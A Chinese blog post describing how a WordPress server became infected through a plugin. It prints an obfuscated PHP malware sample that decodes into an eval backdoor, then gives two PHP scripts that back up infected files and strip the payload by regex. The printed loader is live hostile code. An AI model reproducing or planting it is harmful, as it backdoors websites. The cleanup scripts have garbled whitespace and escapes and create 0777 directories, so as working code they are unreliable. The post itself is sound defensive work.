PHP实现清除wordpress里恶意代码

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公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。

恶意代码示例

1. <?phpif(!isset($GLOBALS["anuna"])){$ua=strtolower($_SERVER["HTTP_USER_AGENT"]);if((!strstr($ua,"msie"))and(!strstr($ua,"rv:11")))$GLOBALS["anuna"]=1;}?><?php$bssaiikhvn='61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y3x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x6x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x78!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256<C>^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>5b:<!%x5c%x7825c:>%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A:>:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x,NULL);}ovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cI#64y]552]e7y]#>n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0);preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1;functionf<5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c2fh%x5c%x7825:<**#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!7825>U<#16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7825!<***f%x5c%x78%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z0un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7824*!|!%x5c%x7824-%x5c%x78227K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!<*::::::-111112)eobs%x5c%x7861L3]84]y31M6]y3e]81#%x5c%x782f#SFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+s60QUUI&c_UOFHB%x5c%x786%x785cq%x5c%x7825%x5c%&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x78c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#<%x5c%xbbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x782)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x784l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6<*K)ftpmdXA6|7**197-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78po)##-!#~<#%x5c%x782f%x5c%x7825c%x7824-%x5c%x7824tvctus)%x5x7825)!>>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvy76]271]y7d]252]y74]256#<!%x5c%x7825ffc%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x782-!%x5c%x7825tzw%x5c%x782f%x5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恶意代码清理程序

1. <?php
2. /**
3. *文件名：delUnwantedCode.php
4. *功能：删除FTP里恶意代码
5. *使用说明：
6. *请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份
7. */
9. $path=dirname(__FILE__);#定义需要处理的目录
10. $bak_path=$path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');#定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录
11. $fileType=array('php');#定义需要处理的文件类型（后缀名），小写
12. $search=array('@<?phps*if(!isset($GLOBALS[" u "])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si');#定义需要过滤的恶意代码规则
13. $search_count=array(
14. 'all_file'=>array(),#所有文件
15. 'search_file0'=>array(),#没有恶意代码文件
16. 'search_file1'=>array()#含有恶意代码文件
17. );
19. $filelist=listDir($path,$fileType,false);#读取目录里符合条件文件列表
20. if(!empty($filelist)){
21. foreach($filelistas$file){
22. $file=(isset($file['name'])?$file['name']:$file);
23. $search_count['all_file'][]=$file;
24. $fileContent=file_get_contents($file);
25. $compile_fileContent=preg_replace($search,'',$fileContent);
26. if(strlen($fileContent)!=strlen($compile_fileContent)&&str_replace($bak_path,'',$file)==$file){
27. #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）
28. $search_count['search_file1'][]=$file;
30. ############备份原有文件开始###############
31. $bakFile=str_replace($path,$bak_path,$file);
32. @make_dir(dirname($bakFile));
33. @file_put_contents($bakFile,$fileContent);
34. ############备份原有文件结束###############
36. #重新写入过滤后的内容到原有的PHP文件
37. @file_put_contents($file,$compile_fileContent);
38. }else{
39. $search_count['search_file0'][]=$file;
40. }
41. }
42. }
44. #print_r($search_count);die;
45. echosprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码，已处理结束',$path,count($search_count['all_file']),count($search_count['search_file1']));die;
47. ########################
48. ##辅助函数
49. ########################
51. /**
52. *检查目标文件夹是否存在，如果不存在则自动创建该目录
53. *
54. *@accesspublic
55. *@paramstringfolder目录路径。不能使用相对于网站根目录的URL
56. *
57. *@returnbool
58. */
59. functionmake_dir($folder){
60. $reval=false;
61. if(!file_exists($folder)){
62. #如果目录不存在则尝试创建该目录
63. @umask(0);
65. #将目录路径拆分成数组
66. preg_match_all('/([^/]*)/?/i',$folder,$atmp);
68. #如果第一个字符为/则当作物理路径处理
69. $base=($atmp[0][0]=='/')?'/':'';
71. #遍历包含路径信息的数组
72. foreach($atmp[1]AS$val){
73. if(''!=$val){
74. $base.=$val;
75. if('..'==$val||'.'==$val){
76. #如果目录为.或者..则直接补/继续下一个循环
77. $base.='/';
78. continue;
79. }
80. }else{
81. continue;
82. }
84. $base.='/';
86. if(!file_exists($base)){
87. #尝试创建目录，如果创建失败则继续循环
88. if(@mkdir(rtrim($base,'/'),0777)){
89. @chmod($base,0777);
90. $reval=true;
91. }
92. }
93. }
94. }else{
95. #路径已经存在。返回该路径是不是一个目录
96. $reval=is_dir($folder);
97. }
99. clearstatcache();
101. return$reval;
102. }
104. ########获取目录下所有文件，包括子目录开始################
105. functionlistDir($path,$fileType=array(),$fileInfo=true){
106. $path=str_replace(array('/',''),DIRECTORY_SEPARATOR,$path);
107. if(!file_exists($path)||!is_dir($path)){
108. return'';
109. }
110. if(substr($path,-1,1)==DIRECTORY_SEPARATOR){
111. $path=substr($path,0,-1);
112. }
113. $dirList=array();
114. $dir=opendir($path);
115. while($file=readdir($dir)){
116. #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过
117. if($file!=='.'&&$file!=='..'){
118. $file=$path.DIRECTORY_SEPARATOR.$file;
119. if(is_dir($file)){
120. if(empty($fileType)){
121. $dirList[]=($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);
122. }
123. $dirList=array_merge($dirList,listDir($file,$fileType));
124. }elseif(!empty($fileType)&&(in_array(pathinfo($file,PATHINFO_EXTENSION),$fileType))){
125. $dirList[]=($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file);
126. }
127. };
128. };
129. closedir($dir);
130. return$dirList;
131. }
132. ########获取目录下所有文件，包括子目录结束################

删除FTP里恶意代码(支持任意数量的文件处理)

1. <?php
2. /**
3. *文件名：delAllUnwantedCode.php
4. *功能：删除FTP里恶意代码(支持任意数量的文件处理)
5. *使用说明：
6. *请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份
7. */
8. set_time_limit(0);ignore_user_abort(true);
10. $path=dirname(__FILE__);#定义需要处理的目录
11. $bak_path=$path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');#定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录
12. $fileType=array('php');#定义需要处理的文件类型（后缀名），小写
13. $search=array('@<?phps*if(!isset($GLOBALS[" u "])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si');#定义需要过滤的恶意代码规则
14. $file_count=array(
15. 'all_file'=>0,#所有文件
16. 'filter_file'=>0#含有恶意代码文件
17. );
19. replaceUnwantedCode($path);#执行过滤
21. #print_r($search_count);die;
22. echosprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码已清理，原始文件保存在%s',$path,($file_count['all_file']),($file_count['filter_file']),$bak_path);die;
24. functionreplaceUnwantedCode($path){
25. global$bak_path,$fileType,$search,$file_count;
26. $path=str_replace(array('/',''),DIRECTORY_SEPARATOR,$path);
27. if(!file_exists($path)||!is_dir($path)){
28. return'';
29. }
30. if(substr($path,-1,1)==DIRECTORY_SEPARATOR){
31. $path=substr($path,0,-1);
32. }
33. $dir=opendir($path);
34. while($file=readdir($dir)){
35. #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过
36. if($file!=='.'&&$file!=='..'){
37. $file=$path.DIRECTORY_SEPARATOR.$file;
38. if(is_dir($file)){
39. replaceUnwantedCode($file);
40. }elseif(!empty($fileType)&&(in_array(pathinfo($file,PATHINFO_EXTENSION),$fileType))){
41. ################################
42. @$file_count['all_file']++;
43. $fileContent=file_get_contents($file);#文件原始代码
44. $compile_fileContent=preg_replace($search,'',$fileContent);#过滤后的内容
45. if(strlen($fileContent)!=strlen($compile_fileContent)&&str_replace($bak_path,'',$file)==$file){
46. #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）
47. $file_count['filter_file']++;
49. ############备份原有文件开始###############
50. $bakFile=str_replace($path,$bak_path,$file);
51. @make_dir(dirname($bakFile));
52. @file_put_contents($bakFile,$fileContent);
53. ############备份原有文件结束###############
55. #重新写入过滤后的内容到原有的PHP文件
56. @file_put_contents($file,$compile_fileContent);
57. }
58. ################################
59. unset($fileContent,$compile_fileContent);
60. }
61. };
62. };
63. closedir($dir);
64. returntrue;
65. }
67. ########################
68. ##辅助函数
69. ########################
71. /**
72. *检查目标文件夹是否存在，如果不存在则自动创建该目录
73. *
74. *@accesspublic
75. *@paramstringfolder目录路径。不能使用相对于网站根目录的URL
76. *
77. *@returnbool
78. */
79. functionmake_dir($folder){
80. $reval=false;
81. if(!file_exists($folder)){
82. #如果目录不存在则尝试创建该目录
83. @umask(0);
85. #将目录路径拆分成数组
86. preg_match_all('/([^/]*)/?/i',$folder,$atmp);
88. #如果第一个字符为/则当作物理路径处理
89. $base=($atmp[0][0]=='/')?'/':'';
91. #遍历包含路径信息的数组
92. foreach($atmp[1]AS$val){
93. if(''!=$val){
94. $base.=$val;
95. if('..'==$val||'.'==$val){
96. #如果目录为.或者..则直接补/继续下一个循环
97. $base.='/';
98. continue;
99. }
100. }else{
101. continue;
102. }
104. $base.='/';
106. if(!file_exists($base)){
107. #尝试创建目录，如果创建失败则继续循环
108. if(@mkdir(rtrim($base,'/'),0777)){
109. @chmod($base,0777);
110. $reval=true;
111. }
112. }
113. }
114. }else{
115. #路径已经存在。返回该路径是不是一个目录
116. $reval=is_dir($folder);
117. }
119. clearstatcache();
121. return$reval;
122. }